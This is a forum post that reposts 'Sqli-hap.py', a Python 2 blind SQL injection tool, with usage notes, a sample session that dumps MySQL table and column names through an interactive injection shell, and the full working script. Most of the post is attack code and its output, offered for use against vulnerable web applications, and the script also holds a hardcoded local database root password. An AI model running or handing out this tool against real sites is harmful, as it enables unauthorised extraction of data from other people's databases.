Jump to content
Fi8sVrs

Sqli-hap.py

Recommended Posts

  • Active Members
Posted

This Python proof of concept uses comparative precomputation to perform blind sql injection, but does not automatically determine the context of the vulnerability or extract multiple bytes in a single request at this time.

Usage

Basic:

Terminal

localhost:~ $ ./sqli-hap.py [url] [column] [table]

Video demonstration: http://ascii.io/a/1588

Example:

??user@host ~
??? ./pub-sqli-hap.py http://127.0.0.1/sqli.php\?id\= id users
[*] Attacking: http://127.0.0.1/sqli.php?id=
[*] Checking for existing session
[*] Building precomputation table..
[*] Percent complete: 100.00% -- Time elapsed: 1.35 seconds -- Estimated time left: 0.00
[*] Precomputation table built in 1.379987 seconds.
[*] Enter a sql query:
sql shell> select group_concat(table_name,0x2e,column_name,0x0a) from information_schema.columns where table_schema='mysql'
[*] Percent complete: 100.00% -- Time elapsed: 3.48 seconds -- Estimated time left: 0.00
columns_priv.Host
,columns_priv.Db
,columns_priv.User
,columns_priv.Table_name
,columns_priv.Column_name
,columns_priv.Timestamp
,columns_priv.Column_priv
,db.Host
,db.Db
,db.User
,db.Select_priv
,db.Insert_priv
,db.Update_priv
,db.Delete_priv
,db.Create_priv
,db.Drop_priv
,db.Grant_priv
,db.References_priv
,db.Index_priv
,db.Alter_priv
,db.Create_tmp_table_priv
,db.Lock_tables_priv
,db.Create_view_priv
,db.Show_view_priv
,db.Create_routine_priv
,db.Alter_routine_priv
,db.Execute_priv
,db.Event_priv
,db.Trigger_priv
,event.db
,event.name
,event.body
,event.definer
,event.execute_at
,event.interval_value
,event.interval_field
,event.created
,event.modified
,event.last_executed
,event.starts
,event.ends
,event.status
,event.on_completion
,event.sql_mode
,event.comment
,event.originator
,event.time_zone
,event.character_set_client
,event.collation_connection
,event.db_collation
,event.body_utf8
,func.name
,func.ret
,func.dl
,func.type
,general_log.event_time
,general_log.user_host
,general_log.thread_id
,general
Requests: 389 (3.647493 seconds)
Length of retrieved data: 1024
sql shell> exit
[*] Good bye

#!/usr/bin/python2

#!/usr/bin/python2

import sys

import urllib2

import time

from binascii import hexlify

import _mysql

import md5

import pickle

import re

import os

import threading

import Queue

import readline

readline.parse_and_bind('tab: complete')

readline.parse_and_bind('set editing-mode vi')

BOLD = '\033[1m'

BLUE = '\033[34m'

GREEN = '\033[32m'

YELLOW = '\033[33m'

RED = '\033[91m'

ENDC = '\033[0m'

def request(request_url):

req = urllib2.Request(request_url)

req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko)' \

' Chrome/24.0.1309.0 Safari/537.17')

r = urllib2.urlopen(req)

return r.read()

def construct_discovery_query(url, column, table, counter):

discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)"

discovery = discovery % (column, column, table, counter)

return url + urllib2.quote(discovery)

def construct_injection_query(url, column, table, query, position):

injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \

"x where pos=ascii(substring(compress((%s)) from %s for 1)))"

injection = injection % (column, column, table, query, position)

return url + urllib2.quote(injection)

def get_length(url, column, table, query, ascii_table, counter):

injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \

"x where pos=(length(length(compress((%s))))))" % (column, column, table, query)

length_length = url + urllib2.quote(injection)

length_length = ascii_table[md5.new(request(length_length)).digest()]

counter += 1

length = ""

for i in range(1,length_length+1):

injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \

"x where pos=ascii(substring(length(compress((%s))) from %s for 1)))"

injection = injection % (column, column, table, query, i)

request_url = url + urllib2.quote(injection)

length += chr(ascii_table[md5.new(request(request_url)).digest()])

counter += 1

return (int(length), counter)

def get_query(prompt):

while 1:

query = raw_input(prompt)

if query != "":

break

return query

def do_query(url, column, table, query, ascii_table, i, q):

tmp = construct_injection_query(url, column, table, query, i)

q.put(chr(ascii_table[md5.new(request(tmp)).digest()]))

def do_table(url, column, table, i, q):

tmp = construct_discovery_query(url, column, table, i)

q.put(md5.new(request(tmp)).digest())

def print_percent(percent, start_time):

elapsed_time = time.time() - start_time

eta = ((elapsed_time) / percent) * 100 - elapsed_time

sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s"

% (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC))

sys.stdout.flush()

def do_thread(target, args, counter, length, type_query):

if type_query == 0:

ascii_table = {}

else:

query_result = ""

if type_query == 0:

i = 0

else:

i = 1

sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0))

sys.stdout.flush()

start_time = time.time()

while i < length:

threads = {}

queues = []

for j in range(0,11):

if i < length:

queues.append(Queue.Queue())

threads = threading.Thread(target=target, args=args + (i, queues[j]))

i += 1

counter += 1

print_percent(100 * float(i) / float(length), start_time)

for thread in threads:

threads[thread].start()

for j, thread in enumerate(sorted(threads.iterkeys())):

if type_query == 0:

ascii_table[queues[j].get()] = thread

else:

query_result += queues[j].get()

threads[thread].join()

sys.stdout.write('\n')

sys.stdout.flush()

if type_query == 0:

return ascii_table

else:

return (counter, query_result)

def main(url, column, table):

session_name = re.split("(https?://)?(.*)/", url)[2]

print "%s[*]%s Checking for existing session" % (GREEN, ENDC)

try:

try:

os.stat("data")

except:

os.mkdir("data")

ascii_table = pickle.load(open("data/%s" % session_name, "rb" ))

print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC)

except:

print "%s[*]%s Building precomputation table.." % (GREEN, ENDC)

current = time.time()

ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0)

pickle.dump(ascii_table, open("data/%s" % session_name, "wb"))

print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC)

print "%s[*]%s Enter a sql query:" % (GREEN, ENDC)

while 1:

query = get_query("%ssql shell>%s " % (BOLD, ENDC))

if query == "exit":

break

query_result = ""

counter = 0

current = time.time()

(length, counter) = get_length(url, column, table, query, ascii_table, counter)

(counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1)

query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result)

mysql_connection = _mysql.connect('localhost', 'root', 'new-password')

mysql_connection.query(query)

result = mysql_connection.use_result()

data = result.fetch_row()[0][0]

mysql_connection.close()

print data

print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s"

% (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC)

print "%s[*]%s Good bye" % (GREEN, ENDC)

if __name__=="__main__":

if len(sys.argv) != 4:

print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0]

exit()

print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC)

main(sys.argv[1], sys.argv[2], sys.argv[3])

Source: http://www.blackhatlibrary.net/Sqli-hap.py

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...